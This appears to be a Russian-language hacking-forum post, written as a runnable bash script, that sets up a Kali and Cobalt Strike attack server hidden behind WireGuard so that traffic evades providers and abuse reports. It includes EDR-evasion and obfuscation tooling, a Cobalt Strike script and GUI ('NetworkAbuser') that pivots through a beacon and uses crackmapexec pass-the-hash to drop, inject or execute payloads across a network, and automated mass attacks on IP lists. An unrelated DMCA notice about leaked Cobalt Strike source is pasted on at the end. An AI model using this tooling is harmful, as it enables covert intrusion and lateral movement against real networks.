#*chimera* инструмент не менее известный, это обфускатор powershell скриптов, который включает множетсво методов и параметров
#*pe-tree* - название говорящее - позволяет увидеть структуру исполняемого файла, импорты, экспорты, энтропию и заголовки секций
#*garble*, а по совместительству враппер, заменяющий go при компиляции golang приложений
#*PEzor* известный фреймворк, который компилирует шеллкод либо бинарник в другие форматы, в том числе ReflectiveDLL. внимание на который, наверное стоит обратить всем, кто еще не успел познакомиться с этим чудесным методом управляемой инъекции. Но все-таки основная задача его установки - это установка необходимых компиляторов Windows приложений, таких как mingw-w64 и mono-mcs. Так же скрипт-установщик PEzor'а установит wclang (x86_64-w64-mingw32-clang), donut, sgn.
#*one-lin3r* очень полезная утилита, с помощью которой пользователь сможет получить подсказки по основным методам исполнения файла, так же внутри много способов дропа пейлоадов на целевую машину
#*Scarecrow* - это golang приложение, которое компилирует шеллкод по технике, называемой EDR evasion, призванной обходить одноименный компонент активной защиты Windows OS. Так же крайне важен принцип работы и ознакомление с ним
#*репозитории* инструментов таких маэстро сетевой безопасности, как mcgeeky и S3cur3Th1sSh1t, в которых каждый найдет кучу вкучностей и полезностей
#*arsenal* это супер-помощник пользователя, вызов которого мы зарегестрировали на комбинацию CTRL+A. это нужно увидеть, описывать бесполезно
#*wine tdm-gcc / wine gcc / wine g++* так же windows компилер, который дает неплохие результаты в плане обфускации-при-компиляции в случае его грамотного применения
#spiderfoot - мощнейший инструмент OSINT разведки. В настройках необходимо добавить как можно больше API ключей, предварительно их заполучив. Благо - в основном эти сервисы предоставляют минимум квоты, которой должно хватить нам на первое время
#-----------------------------------------
#Просто напоминаю, что подсказку по любым командам вы сможете найти в Google либо написав название утилиты -h (--help) XD


#DEFINE: _MAIN

#Ну вот и заключительная часть нашей "большой стройки" - собрание всего в кучу, под крыло wireguard и docker-compose. для этого мы создадим директорию, например /localhost , в которой в свою очередь напишем docker-compose.yml файл, с помощью которого мы и осуществим задуманное. Но прежде, чем сделать это, Вам необходимо обзавестись wireguard.conf - конфигурационным файлом wireguard. Вы сможете сделать это купив аккаунт wireguard-vpn (предпочтительнее), либо использовать чей-то сервер в качестве хоста-впн. Инструкций и автоматических установщиков море - смысла их тут приводить вообще нет. Итак наш туннель.conf следую положить в папку /etc/wireguard/socks/wg.conf , либо в любую другую, поправив при этом скрипт ниже. Обратите внимание: докер не любит ipv6 сети, соответственно все ipv6 адреса так же следует удалить из файла конфигурации туннеля.

mkdir /localhost ; cat<<'EOF'>/localhost/docker-compose.yml
version: "3.7"
services:

  wireguard:
    image: jordanpotter/wireguard
    container_name: wireguard
    restart: unless-stopped
    networks:
      - backbone
    volumes:
      - '/etc/wireguard/socks/wg.conf:/etc/wireguard/mullvad.conf'
      - '/lib/modules:/lib/modules'
    cap_add:
      - NET_ADMIN
      - SYS_MODULE
    sysctls:
      - net.ipv4.conf.all.src_valid_mark=1
      - net.ipv4.ip_forward=1

  suos:
    depends_on:
      - wireguard
    image: suod
    container_name: kali_suos
    restart: unless-stopped
    network_mode: service:wireguard
    cap_add:
      - NET_ADMIN
    volumes:
      - '/var/run/docker.sock:/var/run/docker.sock'
    command: bash /entrypoint.sh
    environment:
      - HOSTNAME=$HOSTNAME

  gvm:
    depends_on:
      - wireguard
    image: kali_gvm
    container_name: gvm
    restart: unless-stopped
    network_mode: service:wireguard
    privileged: true
    command: chown -hR gvm:gvm /data
    command: ./start.sh
    cap_add:
      - NET_ADMIN
    volumes:
      - '/opt/gvm-data:/data'
      - '/run/dbus/system_bus_socket:/run/dbus/system_bus_socket'
    environment:
     - SSHD="false"

networks:
  backbone:
    driver: bridge
EOF

#... и файл up.sh, который будет перзапускать контейнеры и комментировать изменения в контейнерах, попутно чистить ОЗУ и кеш перед перезапуском

cat<<'EOF'>/localhost/up.sh
#!/bin/bash
cd /localhost ; docker commit kali_suos suos ;
export HOSTNAME="$(hostname)" ; killall -9 ibus-extension-gtk3 ; killall -9 Xtigervnc
sync; echo 3 > /proc/sys/vm/drop_caches ; swapoff /swapfile2 ; sleep 1 ; swapon -a
docker-compose down --remove-orphans ; docker-compose  up -d --force-recreate --remove-orphans
EOF
chmod +x /localhost/up.sh

echo '#!/bin/bash' > /etc/rc.local ; echo /localhost/up.sh >> /etc/rc.local ; chmod +x /etc/rc.local #этим мы поместили срипт редеплойа контейнеров в "автозагрузку" хоста


#DEFINE: _EXIT

#Наши практики освоения bash-скриптинга подходят к концу. Но какая же это статья на проникновение, спросите Вы?  Отвечу - самое сладкое - оставляют на десерт)))
#Напишем простейший, но тем не менее очень мощный скрипт для кобальта, а так же Linux-GUI хелпер, который придаст эстетики и юзабельности нашему NetworkAbuser'у (так я его назвал)))

cat<<'EOF'>/tmp/abuser.cna
alias abuser {
        bsleep($1, 0, 0);
        bsocks_stop($1);
        bsocks($1, 27500)
        exec("/usr/local/bin/abuser");
}
EOF

cat > /tmp/abuser << 'ABUSER'
#!/bin/bash

cat<<EOF>/etc/proxychains.conf
quiet_mode
dynamic_chain
[ProxyList]
socks4  XHOSTNAME 27500
EOF

zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg  --forms --title="NetworkAbuser" --width="400" --text="Wait for Starting client... in beacon console" \
--add-entry="network       " --add-entry="username        " --add-entry="hash          "  --add-combo="method" --combo-values="put|inject|execute" &> /tmp/.values
CIDR="$(cat /tmp/.values | cut -d'|' -f1)"
USER="$(cat /tmp/.values | cut -d'|' -f2)"
HASH="$(cat /tmp/.values | cut -d'|' -f3)"
METH="$(cat /tmp/.values | cut -d'|' -f4)"
if [ -z "$CIDR" ] || [ -z "$USER" ] || [ -z "$HASH" ] ; then exit 0 ; fi

if test "$METH" = "put" || test "$METH" = "inject" ; then
INPUT="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --file-selection --title=NetworkAbuser)" ; OUTPUT="$(echo $INPUT | awk -F'/' '{print $NF}')"
elif test "$METH" = "execute" ; then
EXECCMD="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --title=NetworkAbuser --text='Enter your command...' --width=400 --entry)"
fi

if test "$METH" = "put" ; then
echo "proxychains  crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH --put-file $INPUT \\\\Windows\\\\Temp\\\\$OUTPUT -x \\\\Windows\\\\Temp\\\\$OUTPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "inject" ; then
echo "proxychains  crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -M pe_inject -o PATH=$INPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "execute" ; then
echo "proxychains  crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -x "$EXECMD"" > /tmp/.crackmapexeccmd
fi

chmod +x /tmp/.crackmapexeccmd ; xfce4-terminal --fullscreen --hide-menubar --hide-toolbar --hide-scrollbar -e 'sudo /tmp/.crackmapexeccmd' --hold
ABUSER

hostip="$(dig $(hostname) +short A)" ; sed -i "s+XHOSTNAME+$hostip+g" /tmp/abuser ; chmod +x /tmp/abuser
docker cp /tmp/abuser super_os:/usr/local/bin ; docker cp /tmp/abuser.cna super_os:/opt/cobaltstrike/custom/
docker stop gvm super_os ; docker commit super_os suos ; docker commit gvm kali_gvm ; docker rm super_os gvm --force

#Принцип работы крайне прост. Сначала кобальт создает SOCKS4 Pivot через интересующий Вас бикон. После этого открывается GUI интерфейс, в котором необходимо будет указать CIDR (что то типа 192.168.2.0/24), имя пользователя и HASH, заполучить которые крайне просто - в консоле бикона выполить hashdump
#При первом использовании необходимо будет подключить скрипт, который находится в  /opt/cobaltstrike/custom/abuser.cna, ну и другие скрипты, какие хотите
#Ну и самое последнее, как я и говорил ранее - мы создадим клиента под windows и linux, для работы с системой, использую chrome + java

npm i -g electron nativefier serve ; curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash
mkdir /root/clients ; cd /root/clients ; curl -sL gitlab.com/x4k/pub/-/raw/master/nativ.zip > n.zip ; unzip n.zip

if [ ! -d dist ] ; then
        export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")"
        [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
        nvm install --lts ; nvm use --lts ; npm i -g nativefier electron-builder yarn
        yarn add electron ; npm i ; yarn
fi

rm -r build dist x4kme-linux-x64 x4kme-win32-x64 &> /dev/null

function buildme() {
nativefier http://"$(hostname)":6080/vnc.html \
--name x4kme \
--platform "$nplatform" \
--aarch x64 \
--lang ru-RU \
--tray \
--start-in-tray \
--icon "icon.png" \
--height 980 \
--width 1560 \
--disable-dev-tools \
--ignore-certificate \
--insecure
electron-builder build "$eplatform" --pd x4kme-"$pdir"-x64
}

#linux
nplatform="linux" eplatform='-l' pdir="linux" buildme
#windows
nplatform="windows" eplatform='-w' pdir="win32" buildme

echo 'cd /root/clients/dist ; serve -p 50000 &'  >> /etc/rc.local

#DEFINE: _PS

#Вот и финальчик, так что в итоге? А в итоге мы имеем экосистему, включающую в себя свою сеть, работающую внутри контейнеров, которые в свою очередь шифруют трафик через wireguard-контейнер. Этим мы достигаем несколько абсолютно-важных целей: мы прячем наш трафик от глаз провайдера, в том числе сканера GVM, а так же создаем дополнительный слой шифрования, при этом шансы на абуз стремительно стремятся к нулю. Но все таки, конечно, лучше не юзать Ваш хост как Direct connect Для биконов. Для этого существуют редиректоры, инфы по которым предостаточно, они очень просты в установке. Работа через клиенты обеспечит нам так же необходимо-достигнутый уровень защиты, а именно, при работе через VPN получаем ТРИ!!! уровня защиты, два из которых защищены ключами шифрования, которые по одному-то практически нереально взломать, а в такой сцепке и вовсе становится нереально до вас добраться. Ну а как работает NetworkAbuser и аналогичную систему с моими наработками, сможете увидеть на видео, которое находится ниже. Скомпилированные клиенты доступны по адресу http://ваш.домен:50000
#Почему модульный? Все просто: Вы сможете добавить любой контейнер в /localhost/docker-compose.yml, который так же будет работать через wireguard и провайдер не сможет увидеть ничего, ни байта из трафика, вызванного Вашими невинными шалостями))) Наприм[MEDIA=youtube]3GRnQXXGky0[/MEDIA]ер:

docker pull 0x4k/jok3r ; cat<<'EOF'>>/localhost/docker-compose.yaml
  gvm:
    depends_on:
      - wireguard
    image: 0x4k/jok3r
    container_name: jok3r
    restart: unless-stopped
    network_mode: service:wireguard
    privileged: true
    cap_add:
      - NET_ADMIN
    volumes:
      - '/run/dbus/system_bus_socket:/run/dbus/system_bus_socket'
EOF

#Станет доступен модифицированный и глвное работающий coutto/jok3r:
#docker exec -ti jok3r zsh
#wget -O /targets.txt http://ваш.линк/на/список/ip-адресов/которые/вы/хотитет/"протестировать".txt
#attack
#У вас спросят два вопроса - местоположение того самого списка и название workspace (это название БД, куда будут собираться результаты). После этого джокер начнет разведку и атаку, а после выдаст ссылку на отчет. Инструментов внутри - что-то около 103. Самых серьезных ;-) Как вегда все произойдет автоматически)))
#Как бонус - Вы можете сменить тему кали - в настройках графической оболочки - выберите unkn0wn в меню Appearance и Windows Manager ;-)
#Как бонус2 - cd /opt/cobaltstrike/Toolkits ; unzip artifact.zip ; cd artifact ; bash winebuild.sh | Выполнять из-под графической оболочки, после того, как подключите свежеиспеченный artifact.cna из папок /opt/cobaltstrike/Toolkits/artifact/dist* ваши биконы станут менее заметны ;-)
#Как бонус3 - интерфейсы GVM , PatrowlHears и spiderfoot  - защита от дурака))) если по-русски - "найдете сами" =)
#Ну и для тех, кто не понял формат написанной статьи - это абсолютно рабочий bash скрипт, который Вы сможете исполнить на свежекупленном хосте и получить результат из коробки))) просто загрузите скрипт на VPS например так: scp script.sh VPS:/root ; ssh VPS ; chmod +x script.sh ; ./script.sh ВАШ.ДОМЕН Не благодарите)

sudo -u root reboot

901a3454c8e6b26996ed7.png


{\rtf1\ansi\ansicpg1252\cocoartf2580
\cocoatextscaling0\cocoaplatform0{\fonttbl\f0\fswiss\fcharset0 Helvetica;}
{\colortbl;\red255\green255\blue255;}
{\*\expandedcolortbl;;}
\margl1440\margr1440\vieww11520\viewh8400\viewkind0
\pard\tx720\tx1440\tx2160\tx2880\tx3600\tx4320\tx5040\tx5760\tx6480\tx7200\tx7920\tx8640\pardirnatural\partightenfactor0

\f0\fs24 \cf0 **Are you the copyright holder or authorized to act on the copyright owner's behalf?**\
\
Yes, I am authorized to act on the copyright owner's behalf.\
\
**Please describe the nature of your copyright ownership or authorization to act on the owner's behalf.**\
\
[private] for Cobalt Strike at HelpSystems LLC \
HelpSystems owns the Cobalt Strike brand and all related intellectual property\
\
**Please provide a detailed description of the original copyrighted work that has allegedly been infringed. If possible, include a URL to where it is posted online.**\
\
Cobalt Strike software \
This includes (in the main repo below as well as the ones listed under forks), decompiled source code (Java) and/or cobaltstrike.jar (which is the jar file that contains the compiled classes).\
\
**What files should be taken down? Please provide URLs for each file, or if the entire repository, the repository\'92s URL.**\
\
https://github.com/mai1zhi2/CobaltstrikeSource (this entire repo contains decompiled Java classes and the whole thing is infringing our copyright)\
\
**Have you searched for any forks of the allegedly infringing files or repositories? Each fork is a distinct repository and must be identified separately if you believe it is infringing and wish to have it taken down.**\
\
Note that while these are not forks of the repository above, they are all separate repositories that contain either decompiled Cobalt Strike Java source code and/or cobaltstrike.jar. I'm including these here as instructed in the note above, rather than submitting multiple takedown notices:\
\
The folders \'93client/opt/cobaltstrike\'94 and \'93server/opt/cobaltstrike\'94 contain copyrighted material and both folders need to be removed. The rest of the repo is unrelated to Cobalt Strike: https://github.com/l4ckyguy/ukn0w\
\
\
As far as I can see (as it\'92s in Chinese), the folder \'93%E5%B7%A5%E5%85%B7/cs4.2/cs4.2no\'94 (the top folder in the repo, then \'93cs4.2/cs4.2no\'94) contains copyrighted material and needs to be removed. I can\'92t see any other folders in the repo that need to be removed: https://github.com/MRLEE123456/record\
\
\
This repo doesn't seem to be related to Cobalt Strike, but there is a copy of the product in the folder linked below which needs to be removed:\
https://github.com/Esonhugh/esonhugh.github.io/tree/9b569ae29699e4b949c0158f1a237827a1fb7d68/back\
\
\
\
The following repositories contain cracked copies of Cobalt Strike and/or decompiled Cobalt Strike Java code. In each case, the entire repository violates our copyright and needs to be taken down:\
\
https://github.com/Fl4g-Pshacker/cs\
\
https://github.com/Fl4g-Pshacker/cs4\
\
https://github.com/sqlsec/uptmp\
\
https://github.com/jsonor1896/tools\
\
https://github.com/Yang0615777/SecondaryDevCobaltStrike\
\
https://github.com/mai1zhi2/CobaltstrikeSource\
\
https://github.com/nice0e3/Cobaltstrike_4.3_Source\
\
https://github.com/LWZXS/cobaltstrike4.3\
\
https://github.com/ORCA666/cobalt-strike-source-code-leak\
\
https://github.com/mrx325/CB-nulled\
\
https://github.com/HildeTeamTNT/CobaltStrike\
\
\
\
**Is the work licensed under an open source license? If so, which open source license? Are the allegedly infringing files being used under the open source license, or are they in violation of the license?**\
\
The work is not licensed as open source. It is violating the terms of the commercial license.\
\
**What would be the best solution for the alleged infringement? Are there specific changes the other person can make other than removal? Can the repository be made private?**\
\
Complete removal of all repositories noted above, except for the three repositories where I\'92ve referenced the specific files/folders that need to be removed.\
\
**Do you have the alleged infringer\'92s contact information? If so, please provide it.**\
\
I do not have it.\
\
**I have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law.**\
\
**I have taken <a href="https://www.lumendatabase.org/topics/22">fair use</a> into consideration.**\
\
**I swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed.**\
\
**I have read and understand GitHub's <a href="https://docs.github.com/articles/guide-to-submitting-a-dmca-takedown-notice/">Guide to Submitting a DMCA Takedown Notice</a>.**\
\
**So that we can get back to you, please provide either your telephone number or physical address.**\
\
I work from home and as such, don't want to provide personal details. Email would be preferable if possible. Work related contact information is as follows:\
\
Address c/o: \
HelpSystems \
Sentinel House \
Building B \
Harvest Crescent \
Fleet \
Hampshire \
GU51 2UZ\
\
**Please type your full legal name below to sign this request.**\
\
[private]}

Автор: x4k
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.